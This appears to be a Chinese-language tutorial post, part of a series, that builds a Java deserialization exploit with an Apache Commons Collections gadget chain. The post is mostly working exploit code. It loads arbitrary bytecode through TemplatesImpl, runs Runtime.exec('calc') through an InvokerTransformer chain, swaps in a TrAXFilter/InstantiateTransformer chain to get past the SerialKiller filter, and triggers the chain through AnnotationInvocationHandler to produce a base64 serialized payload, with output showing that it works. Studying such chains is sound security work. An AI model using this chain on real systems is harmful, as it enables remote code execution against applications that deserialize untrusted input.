利用TemplatesImpl的任意恶意类加载demo

上一篇中学习了利用TemplatesImpl加载类:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;


public class TemplatesImplExample {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("base64字节码");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] { code });
setFieldValue(obj, "_name", "NOT NULL");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value)
throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true); // 允许访问私有字段
field.set(obj, value); // 设置字段值
}
}

结合之前生成恶意序列化数据的demo:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] {
"calc" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
//innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");

可以把它们结合一下
这样就可以实现加载一个自定义的恶意类
执行任何代码:

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsIntro2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("base64字节码");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

然而在SerialKiller反序列化过滤器中
过滤了InvokerTransformer
那么我们可以选用另外一个链子:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
};

尝试利用前面12篇文章学到的知识构造POC

构造POC

先来一个恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {}
public Test() {
super();
System.out.println("CustomTransletClass loaded");
}
}

在windows中利用如下命令对class文件进行取base64编码:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("CustomClass.class")) -replace "`n|`r"

回忆之前的步骤
我们先将outerMap触发改为interMap预填充
这里键名一定要是"value"

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//outerMap.put("test", "xxxx");

再利用AnnotationInvocationHandler​自动触发outermMap的填充

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);

InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

handler序列化并转为base64:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));

测试:

byte[] payload = Base64.getDecoder().decode("上一步输出的base64");
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
ois.readObject();

成功输出:

CustomTransletClass loaded
Exception in thread "main" org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'newInstance' on 'class java.lang.reflect.Constructor' threw an exception
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:133)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:204)
...